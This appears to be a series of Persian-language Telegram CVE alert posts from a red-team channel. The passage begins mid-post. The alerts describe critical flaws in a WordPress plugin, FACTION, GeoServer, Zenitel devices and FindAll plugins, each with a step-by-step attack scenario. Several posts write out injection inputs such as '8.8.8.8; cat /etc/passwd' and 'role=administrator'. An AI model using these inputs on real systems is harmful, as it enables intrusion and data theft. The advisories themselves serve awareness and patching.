در نتیجه، فایل‌های مخرب جایگزین فایل‌های اصلی افزونه می‌شوند. اکنون مهاجم می‌تواند به درب پشتی آپلود شده دسترسی پیدا کرده، دستورات دلخواه را بر روی سرور اجرا کند و کنترل کامل وب‌سایت را در دست بگیرد.

---

توصیه می‌شود مدیران وب‌سایت‌هایی که از این افزونه استفاده می‌کنند، فوراً آن را به آخرین نسخه موجود به‌روزرسانی کرده یا در صورت عدم وجود نسخه امن، آن را غیرفعال و حذف نمایند.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-64657

🔴 Risk Level: CRITICAL (Score: 9.8)


🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-64656

🔴 Risk Level: CRITICAL (Score: 9.4)

📜 شرح آسیب‌پذیری:

آسیب‌پذیری با شناسه CVE-2025-64656 یک ضعف امنیتی از نوع Out-of-bounds Read (خواندن خارج از محدوده حافظه) در مؤلفه Application Gateway است.

این مشکل زمانی رخ می‌دهد که برنامه هنگام پردازش درخواست‌های ورودی، داده‌ها را از یک آدرس حافظه که خارج از مرزهای بافرِ اختصاص‌داده‌شده قرار دارد، می‌خواند. یک مهاجم غیرمجاز و راه دور می‌تواند با ارسال یک بسته شبکه خاص و دستکاری‌شده، این آسیب‌پذیری را تحریک کرده و باعث نشت اطلاعات حساس از حافظه یا ناپایداری سرویس شود.


💥 تأثیرات:

تأثیر اصلی این آسیب‌پذیری، افزایش سطح دسترسی (Privilege Escalation) است. مهاجمی که موفق به بهره‌برداری از این ضعف شود، می‌تواند به دسترسی‌های بالاتری در سیستم هدف دست یابد.

پیامدهای احتمالی عبارتند از:
- دستیابی به کنترل کامل بر روی Application Gateway.
- سرقت اطلاعات حساس مانند کلیدهای رمزنگاری، توکن‌های نشست یا اطلاعات کاربران.
- اجرای کد دلخواه با سطح دسترسی بالا (مانند root یا SYSTEM).
- دور زدن مکانیزم‌های امنیتی و نفوذ به شبکه‌های داخلی محافظت‌شده.


🎭 سناریوی حمله:

یک مهاجم غیرمجاز، بدون نیاز به احراز هویت، یک درخواست دستکاری‌شده به سمت Application Gateway آسیب‌پذیر ارسال می‌کند. این درخواست به گونه‌ای طراحی شده است که سرویس را وادار به خواندن داده از یک بخش غیرمجاز در حافظه کند.

داده‌های نشت‌کرده از حافظه ممکن است شامل آدرس‌ها یا مقادیری باشد که به مهاجم اجازه می‌دهد ساختار حافظه برنامه را شناسایی کند. سپس مهاجم با استفاده از این اطلاعات، حمله دوم و دقیق‌تری را برای اجرای کد دلخواه ترتیب می‌دهد.

در نهایت، با اجرای موفقیت‌آمیز کد، مهاجم می‌تواند دسترسی خود را از یک کاربر عادی یا غیرمجاز به سطح مدیر سیستم ارتقا داده و کنترل کامل دستگاه را به دست گیرد.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-66022

🔴 Risk Level: CRITICAL (Score: 9.6)

گزارش تحلیل آسیب‌پذیری: RCE احراز هویت نشده در FACTION
شناسه: CVE-2025-66022
شدت: بحرانی (Critical)

شرح آسیب‌پذیری:
آسیب‌پذیری با شناسه CVE-2025-66022 در فریم‌ورک تولید گزارش تست نفوذ FACTION شناسایی شده است. این ضعف امنیتی از نوع اجرای کد از راه دور (Remote Code Execution) بوده و نسخه‌های قبل از 1.7.1 را تحت تاثیر قرار می‌دهد.

این مشکل به دلیل ترکیبی از دو نقص امنیتی به وجود آمده است. اول، یک مسیر اجرایی ناامن در فریم‌ورک افزونه‌ها (extensions) به کد غیرقابل اعتماد اجازه می‌دهد تا دستورات دلخواه را بر روی سیستم‌عامل سرور اجرا کند. دوم، اندپوینت /portal/AppStoreDashboard فاقد هرگونه بررسی احراز هویت است. این موضوع به یک مهاجم راه دور و احراز هویت نشده اجازه می‌دهد تا به سادگی به رابط کاربری مدیریت افزونه‌ها دسترسی پیدا کرده، یک افزونه مخرب را بارگذاری و از این طریق کد دلخواه خود را بر روی سرور اجرا کند.

تاثیر:
بهره‌برداری موفق از این آسیب‌پذیری به مهاجم اجازه می‌دهد تا کنترل کامل سرور میزبان FACTION را در دست بگیرد. پیامدهای اصلی عبارتند از:

▪️اجرای کد از راه دور: مهاجم قادر خواهد بود هر دستوری را با سطح دسترسی سرویس FACTION روی سرور اجرا کند.

▪️سرقت اطلاعات حساس: دسترسی به سرور به معنای دسترسی کامل به تمامی داده‌های ذخیره شده، از جمله گزارش‌های محرمانه تست نفوذ، اطلاعات مشتریان و سایر داده‌های حیاتی سازمان است.

▪️نصب درب پشتی (Backdoor): مهاجم می‌تواند با نصب بدافزار، دسترسی پایدار خود به سیستم را برای حملات آتی تضمین کند.

▪️حرکت جانبی در شبکه: سرور آلوده می‌تواند به عنوان نقطه‌ای برای نفوذ به سایر سیستم‌های موجود در شبکه داخلی سازمان مورد استفاده قرار گیرد.

سناریوی حمله:
یک مهاجم می‌تواند مراحل زیر را برای بهره‌برداری از این آسیب‌پذیری طی کند:

۱. شناسایی: مهاجم یک نمونه از FACTION با نسخه آسیب‌پذیر (قبل از 1.7.1) را که از طریق اینترنت قابل دسترس است، پیدا می‌کند.

۲. دسترسی به پنل: مهاجم بدون نیاز به هیچ اعتبارسنجی، مستقیماً به آدرس /portal/AppStoreDashboard در سرور هدف مراجعه کرده و وارد داشبورد مدیریت افزونه‌ها می‌شود.

۳. ساخت و بارگذاری افزونه مخرب: مهاجم یک افزونه ساده حاوی کد مخرب (برای مثال، یک reverse shell) را در قالب یک "lifecycle hook" ایجاد و آن را از طریق پنل بارگذاری می‌کند.

۴. اجرا و کنترل: پس از فعال‌سازی افزونه توسط مهاجم، سیستم FACTION در چرخه حیات خود، هوک مخرب را فراخوانی می‌کند. این عمل باعث اجرای کد مخرب و برقراری یک اتصال از سرور قربانی به سرور مهاجم می‌شود. در این لحظه، مهاجم کنترل کامل سرور را به دست آورده است.

---
توصیه فوری: تمامی کاربران فریم‌ورک FACTION باید در اسرع وقت سیستم خود را به نسخه 1.7.1 یا بالاتر به‌روزرسانی کنند.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-58360

🟠 Risk Level: HIGH (Score: 8.2)

تحلیل آسیب‌پذیری: CVE-2025-58360
GeoServer - XML External Entity (XXE)

---

📝 شرح آسیب‌پذیری:
یک آسیب‌پذیری از نوع XML External Entity (XXE) در سرور متن‌-باز GeoServer شناسایی شده است. این سرویس که برای اشتراک‌گذاری داده‌های مکانی (geospatial) استفاده می‌شود، در نقطه پایانی (endpoint) خود به آدرس /geoserver/wms و در عملیات GetMap، ورودی‌های XML را می‌پذیرد.

مشکل اصلی این است که پردازشگر XML این برنامه، ورودی‌ها را به درستی پاک‌سازی و محدود نمی‌کند. این ضعف به یک مهاجم اجازه می‌دهد تا با ارسال یک درخواست XML دستکاری‌شده، موجودیت‌های خارجی (external entities) را تعریف کرده و از سرور سوءاستفاده کند.

نسخه‌های آسیب‌پذیر: 2.26.0 تا قبل از 2.26.2 و نسخه‌های قبل از 2.25.6.
نسخه‌های اصلاح‌شده: 2.25.6، 2.26.3 و 2.27.0.

🎯 تأثیرات:
مهاجمی که از این آسیب‌پذیری بهره‌برداری کند، می‌تواند:

- افشای اطلاعات: به فایل‌های حساس روی سرور دسترسی پیدا کرده و محتوای آن‌ها را بخواند (مانند فایل‌های پیکربندی، کلیدها یا اطلاعات کاربران).
- حملات SSRF: حملات جعل درخواست سمت سرور (Server-Side Request Forgery) را اجرا کرده و از سرور آسیب‌پذیر به عنوان یک پروکسی برای اسکن و حمله به سیستم‌های دیگر در شبکه داخلی استفاده کند.
- منع سرویس (DoS): با استفاده از تکنیک‌هایی مانند "Billion Laughs attack"، منابع سرور (CPU و حافظه) را مصرف کرده و باعث از کار افتادن سرویس شود.

🎭 سناریوی حمله:
یک مهاجم بدون نیاز به احراز هویت، یک درخواست XML مخرب ایجاد می‌کند. در این درخواست، یک موجودیت خارجی (external entity) تعریف می‌شود که به یک فایل محلی روی سرور اشاره دارد، برای مثال /etc/passwd.

سپس، مهاجم این درخواست مخرب را به نقطه پایانی /geoserver/wms با عملیات GetMap ارسال می‌کند.

پردازشگر XML در GeoServer، به دلیل عدم اعتبارسنجی صحیح، این موجودیت خارجی را پردازش کرده و تلاش می‌کند محتوای فایل /etc/passwd را فراخوانی کند. در نهایت، محتوای این فایل در پاسخ به درخواست مهاجم بازگردانده شده و اطلاعات حساس سرور فاش می‌شود.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-64126

🔴 Risk Level: CRITICAL (Score: 10.0)

تحلیل آسیب‌پذیری CVE-2025-64126

گزارش خلاصه و حرفه‌ای جهت آگاهی کارشناسان امنیت سایبری

---

شرح آسیب‌پذیری: 📝

یک آسیب‌پذیری از نوع تزریق دستور سیستم‌عامل (OS Command Injection) به دلیل اعتبارسنجی نادرست ورودی کاربر شناسایی شده است. برنامه یک پارامتر را مستقیماً از ورودی کاربر دریافت کرده و بدون بررسی صحت آن (مثلاً معتبر بودن یک آدرس IP) یا فیلتر کردن کاراکترهای مخرب بالقوه، آن را پردازش می‌کند.

این ضعف به یک مهاجم غیر احراز هویت شده اجازه می‌دهد تا با ارسال ورودی‌های دستکاری‌شده، دستورات دلخواه خود را بر روی سیستم‌عامل سرور میزبان اجرا کند.

تأثیر: 💥

بهره‌برداری موفق از این آسیب‌پذیری می‌تواند منجر به کنترل کامل سرور (Full Server Compromise) شود. مهاجم قادر خواهد بود:

- به اطلاعات حساس مانند پایگاه‌های داده، فایل‌های پیکربندی و اطلاعات کاربران دسترسی پیدا کند.
- بدافزار، باج‌افزار یا درهای پشتی (Backdoor) بر روی سرور نصب کند.
- سرویس‌دهی را مختل کرده یا به طور کامل متوقف سازد (Denial of Service).
- از سرور آسیب‌دیده به عنوان یک پایگاه برای حملات بیشتر به سایر سیستم‌ها در شبکه داخلی استفاده کند.

سناریوی حمله: 🎭

فرض کنید یک ابزار تحت وب برای تست شبکه (مانند ping) وجود دارد که از کاربر یک آدرس IP دریافت می‌کند.

۱. کاربر عادی آدرسی مانند 8.8.8.8 را وارد می‌کند و سیستم دستور ping 8.8.8.8 را اجرا می‌کند.

۲. مهاجم به جای یک IP معتبر، یک رشته دستکاری‌شده مانند زیر را در فیلد ورودی وارد می‌کند:
8.8.8.8; cat /etc/passwd

۳. سرور آسیب‌پذیر این ورودی را بدون اعتبارسنجی دریافت کرده و دستور زیر را بر روی سیستم‌عامل اجرا می‌کند:
ping 8.8.8.8; cat /etc/passwd

۴. در نتیجه، پس از اجرای دستور ping، دستور دوم یعنی cat /etc/passwd نیز اجرا شده و محتوای فایل حساس کاربران سیستم برای مهاجم نمایش داده می‌شود. مهاجم می‌تواند با دستورات پیچیده‌تر، یک اتصال معکوس (Reverse Shell) به سرور برقرار کرده و کنترل کامل آن را به دست بگیرد.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-64127

🔴 Risk Level: CRITICAL (Score: 10.0)

تحلیل آسیب‌پذیری CVE-2025-64127

شرح آسیب‌پذیری (Vulnerability Description):
این گزارش به بررسی آسیب‌پذیری حیاتی از نوع تزریق دستور سیستم‌عامل (OS Command Injection) با شناسه CVE-2025-64127 می‌پردازد. ریشه این مشکل در عدم پاکسازی و اعتبارسنجی صحیح ورودی‌های دریافتی از کاربر است. برنامه، پارامترهای ارسالی را بدون فیلتر کردن کاراکترهای خطرناک، مستقیماً در دستوراتی که در سطح سیستم‌عامل سرور اجرا می‌شوند، به کار می‌برد.

این ضعف به یک مهاجم احرازهویت نشده اجازه می‌دهد تا با ارسال ورودی‌های دستکاری‌شده، دستورات دلخواه خود را از راه دور بر روی سرور هدف اجرا کند.

تأثیرات و پیامدها (Impact):
بهره‌برداری موفق از این آسیب‌پذیری منجر به اجرای کد از راه دور (Remote Code Execution - RCE) می‌شود که یکی از خطرناک‌ترین پیامدهای امنیتی است. مهاجم می‌تواند:

▪️ کنترل کامل سرور را در دست بگیرد.
▪️ به داده‌های حساس (مانند اطلاعات کاربران، پایگاه‌های داده و فایل‌های سیستمی) دسترسی پیدا کرده، آن‌ها را سرقت، تغییر یا حذف کند.
▪️ بدافزارهایی مانند باج‌افزار (Ransomware) یا درهای پشتی (Backdoors) را بر روی سرور نصب کند.
▪️ از سرور آلوده به عنوان نقطه‌ای برای حمله به سایر سیستم‌های موجود در شبکه داخلی (Lateral Movement) استفاده کند.

سناریوی حمله (Scenario):
یک اپلیکیشن وب را تصور کنید که ابزاری برای بررسی وضعیت شبکه (مثلاً ping) در اختیار کاربران قرار می‌دهد. کاربر آدرس IP مورد نظر خود را در یک فیلد وارد می‌کند و سرور دستوری مشابه زیر را اجرا می‌کند:
ping -c 4 [user_input]

یک مهاجم به جای یک آدرس IP معتبر، ورودی مخرب زیر را ارسال می‌کند:
8.8.8.8; cat /etc/passwd

از آنجایی که برنامه ورودی را پاکسازی نمی‌کند، دستور نهایی که بر روی سرور اجرا می‌شود به شکل زیر خواهد بود:
ping -c 4 8.8.8.8; cat /etc/passwd

در نتیجه، سرور ابتدا دستور ping را اجرا کرده و سپس، به دلیل وجود کاراکتر ;، دستور دوم یعنی cat /etc/passwd را نیز اجرا می‌کند. این کار باعث می‌شود محتوای فایل حساس passwd که حاوی اطلاعات کاربران سیستم است، برای مهاجم نمایش داده شود. مهاجم می‌تواند با استفاده از دستورات پیچیده‌تر، یک شل معکوس (Reverse Shell) دریافت کرده و کنترل کامل سرور را به دست آورد.

---
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-64128

🔴 Risk Level: CRITICAL (Score: 10.0)

شرح آسیب‌پذیری:

آسیب‌پذیری با شناسه CVE-2025-64128 از نوع تزریق دستور سیستم‌عامل (OS Command Injection) است. این ضعف امنیتی به دلیل اعتبارسنجی ناقص ورودی‌های ارائه‌شده توسط کاربر به وجود می‌آید. به طور مشخص، سیستم قادر به اعمال قوانین قالب‌بندی کافی بر روی داده‌های ورودی نیست و این موضوع به مهاجمان اجازه می‌دهد تا داده‌های دلخواه خود را به ورودی اصلی اضافه کنند.

در نتیجه، یک مهاجم بدون نیاز به احراز هویت می‌تواند از این طریق، دستورات دلخواه خود را بر روی سیستم‌عامل سرور هدف تزریق و اجرا نماید.

تأثیر:

این آسیب‌پذیری دارای سطح بحرانی (Critical) است و بهره‌برداری موفقیت‌آمیز از آن می‌تواند منجر به نتایج فاجعه‌باری شود. مهم‌ترین تأثیرات آن عبارتند از:

- اجرای کد از راه دور (RCE): مهاجم می‌تواند هر دستوری را با سطح دسترسی پروسه آسیب‌پذیر بر روی سرور اجرا کند.

- کنترل کامل سرور: در صورت بالا بودن سطح دسترسی پروسه، مهاجم قادر به در اختیار گرفتن کنترل کامل سرور خواهد بود.

- سرقت اطلاعات حساس: امکان دسترسی و استخراج اطلاعات حساس مانند فایل‌های پیکربندی، پایگاه‌های داده و اطلاعات کاربران وجود دارد.

- نصب بدافزار: مهاجم می‌تواند بدافزار، باج‌افزار یا ابزارهای دسترسی از راه دور (RAT) را بر روی سیستم آلوده نصب کند.

- اختلال در سرویس‌دهی: امکان حذف فایل‌های حیاتی سیستم یا از کار انداختن سرویس‌ها وجود دارد.

سناریو:

یک مهاجم یک وب‌سایت را شناسایی می‌کند که ابزاری برای بررسی وضعیت شبکه (مانند ابزار ping) در اختیار کاربران قرار می‌دهد. کاربر باید یک آدرس IP یا دامنه را در یک فیلد وارد کند تا نتیجه پینگ را مشاهده نماید.

۱. برنامه تحت وب، ورودی کاربر را دریافت کرده و مستقیماً آن را در یک دستور سیستمی قرار می‌دهد. برای مثال: ping -c 4 [USER_INPUT]

۲. مهاجم به جای یک آدرس IP معتبر، یک ورودی مخرب مانند زیر را ارسال می‌کند:
8.8.8.8; cat /etc/passwd

۳. به دلیل عدم اعتبارسنجی و پاک‌سازی صحیح ورودی، دستور نهایی که بر روی سرور اجرا می‌شود به شکل زیر خواهد بود:
ping -c 4 8.8.8.8; cat /etc/passwd

۴. سرور ابتدا دستور ping را اجرا کرده و سپس، به دلیل وجود کاراکتر ;، دستور دوم یعنی cat /etc/passwd را نیز اجرا می‌کند. در نتیجه، محتوای فایل حساس کاربران سیستم برای مهاجم نمایش داده می‌شود و او می‌تواند به اطلاعات مهمی دست پیدا کند.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-64130

🔴 Risk Level: CRITICAL (Score: 9.8)

🔎 شرح آسیب‌پذیری:

دستگاه Zenitel TCIV-3+ تحت تأثیر یک آسیب‌پذیری با شناسه CVE-2025-64130 قرار دارد. این آسیب‌پذیری از نوع Cross-Site Scripting (XSS) بازتابی (Reflected XSS) است.

یک مهاجم از راه دور می‌تواند با سوءاستفاده از این نقص امنیتی، کدهای جاوا اسکریپت دلخواه را در مرورگر کاربر قربانی اجرا کند. این اتفاق زمانی رخ می‌دهد که دستگاه، ورودی کاربر را بدون پاک‌سازی و اعتبارسنجی مناسب، در صفحه وب بازتاب می‌دهد.

💥 تأثیرات و خطرات:

اجرای موفق این حمله می‌تواند منجر به موارد زیر شود:

- سرقت کوکی‌های نشست (Session Cookies) و ربودن حساب کاربری (Session Hijacking).
- هدایت کاربر به وب‌سایت‌های مخرب و صفحات فیشینگ برای سرقت اطلاعات حساس.
- اجرای کدهای مخرب در بستر یک وب‌سایت معتبر (از دید مرورگر).
- دسترسی به اطلاعات حساس وارد شده توسط کاربر در صفحه آسیب‌پذیر.

🎬 سناریوی حمله:

۱. مهاجم یک لینک یا URL دستکاری‌شده حاوی کد مخرب جاوا اسکریپت را ایجاد می‌کند.

۲. این لینک از طریق ایمیل، پیام‌رسان یا شبکه‌های اجتماعی برای قربانی ارسال می‌شود و او را ترغیب به کلیک کردن می‌کند.

۳. قربانی روی لینک کلیک کرده و درخواستی به سرور آسیب‌پذیر Zenitel ارسال می‌کند که حاوی کد مخرب است.

۴. سرور، کد مخرب را بدون اعتبارسنجی مناسب، در پاسخ خود به مرورگر قربانی بازتاب (Reflect) می‌دهد.

۵. مرورگر قربانی، با فرض اینکه کد از سمت سرور معتبر آمده است، آن را اجرا می‌کند. در این لحظه، حمله با موفقیت انجام شده و کد مخرب (برای مثال، کد سرقت کوکی) فعال می‌شود.

---
توصیه می‌شود کاربران دستگاه‌های مذکور منتظر به‌روزرسانی امنیتی از سوی شرکت Zenitel بوده و تا حد امکان از کلیک بر روی لینک‌های ناشناس خودداری کنند.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-13538

🔴 Risk Level: CRITICAL (Score: 9.8)

تحلیل آسیب‌پذیری CVE-2025-13538
افزونه WordPress FindAll Listing - افزایش سطح دسترسی

---

📝 توضیحات آسیب‌پذیری:
این آسیب‌پذیری از نوع افزایش سطح دسترسی (Privilege Escalation) در افزونه FindAll Listing برای وردپرس، در تمام نسخه‌ها تا 1.0.5 (شامل این نسخه) وجود دارد.

ضعف اصلی در تابع findall_listing_user_registration_additional_params نهفته است که هنگام ثبت‌نام کاربر جدید، هیچ‌گونه اعتبارسنجی روی نقش کاربری (role) ارسالی انجام نمی‌دهد.

نکته مهم: این آسیب‌پذیری تنها زمانی قابل بهره‌برداری است که افزونه مکمل آن، یعنی FindAll Membership، نیز روی وب‌سایت فعال باشد، زیرا فرآیند ثبت‌نام توسط این افزونه مدیریت می‌شود.

💣 تأثیر:
مهاجم بدون نیاز به احراز هویت (Unauthenticated Attacker) می‌تواند با ارسال پارامتر role=administrator در فرآیند ثبت‌نام، یک حساب کاربری با سطح دسترسی مدیر کل (Administrator) برای خود ایجاد کند.

دستیابی به این سطح از دسترسی به معنای کنترل کامل وب‌سایت است. مهاجم می‌تواند:
- محتوا را تغییر داده یا حذف کند.
- اطلاعات کاربران را سرقت کند.
- کدهای مخرب یا درهای پشتی (Backdoors) نصب کند.
- وب‌سایت را از دسترس خارج کرده یا آن را تخریب (Deface) نماید.

🎯 سناریوی حمله:
۱. مهاجم یک وب‌سایت وردپرسی را شناسایی می‌کند که هر دو افزونه FindAll Listing (نسخه ۱.۰.۵ یا قدیمی‌تر) و FindAll Membership روی آن فعال هستند.

۲. به صفحه ثبت‌نام وب‌سایت مراجعه کرده و اطلاعات اولیه مانند نام کاربری و ایمیل را وارد می‌کند.

۳. قبل از ارسال نهایی فرم، درخواست HTTP مربوط به ثبت‌نام را با ابزاری مانند Burp Suite رهگیری می‌کند.

۴. پارامتر role را با مقدار administrator به درخواست اضافه یا مقدار آن را تغییر می‌دهد.

۵. درخواست دستکاری‌شده را به سرور ارسال می‌کند.

۶. سیستم بدون هیچ‌گونه اعتبارسنجی، یک حساب کاربری جدید با دسترسی کامل مدیر کل ایجاد می‌کند و مهاجم با آن وارد سایت می‌شود.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-13539

🔴 Risk Level: CRITICAL (Score: 9.8)

- تحلیل آسیب‌پذیری امنیتی -
CVE-2025-13539

---

📝 توضیحات آسیب‌پذیری:

آسیب‌پذیری از نوع دور زدن احراز هویت (Authentication Bypass) در پلاگین FindAll Membership برای وردپرس شناسایی شده است. این ضعف امنیتی تمام نسخه‌های این پلاگین تا نسخه 1.0.4 (شامل این نسخه) را تحت تاثیر قرار می‌دهد.

ریشه مشکل در این است که پلاگین پس از تایید هویت کاربر از طریق سرویس‌های گوگل یا فیسبوک (توابع findall_membership_check_google_user و findall_membership_check_facebook_user)، از اطلاعات تایید شده برای ایجاد نشست (Session) و ورود نهایی کاربر به درستی استفاده نمی‌کند. این شکاف به مهاجم اجازه می‌دهد تا فرآیند احراز هویت را دور زده و به جای کاربر اصلی وارد سیستم شود.

---

💥 تاثیرات:

مهاجم غیر احراز هویت شده (Unauthenticated) می‌تواند با بهره‌برداری از این آسیب‌پذیری، به حساب کاربری هر فردی در وب‌سایت، از جمله کاربران مدیر (Administrator)، دسترسی پیدا کند.

این دسترسی به معنای کنترل کامل وب‌سایت است و می‌تواند منجر به عواقب زیر شود:

- سرقت اطلاعات حساس کاربران و وب‌سایت
- تخریب وب‌سایت (Defacement)
- تزریق بدافزار و کدهای مخرب
- ایجاد درهای پشتی (Backdoors) برای دسترسی‌های آتی
- سوءاستفاده از منابع سرور

---

🎭 سناریوی حمله:

یک مهاجم برای بهره‌برداری از این آسیب‌پذیری، مراحل زیر را طی می‌کند:

۱. ابتدا، مهاجم باید آدرس ایمیل یک کاربر با سطح دسترسی بالا (مانند مدیر) را به دست آورد.

۲. سپس، مهاجم یک حساب کاربری عادی یا موقت برای خود در وب‌سایت ایجاد می‌کند (طبق توضیحات رسمی، این قابلیت به صورت پیش‌فرض فعال است).

۳. در مرحله بعد، مهاجم فرآیند ورود از طریق گوگل یا فیسبوک را آغاز کرده و در این فرآیند، ایمیل کاربر مدیر را وارد می‌کند.

۴. به دلیل وجود نقص منطقی در پلاگین، سیستم پس از یک بررسی اولیه، به اشتباه نشست کاربری را برای حساب مدیر ایجاد کرده و مهاجم را با اختیارات کامل مدیر وارد وب‌سایت می‌کند، بدون آنکه نیاز به تایید هویت واقعی از سمت گوگل یا فیسبوک باشد.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal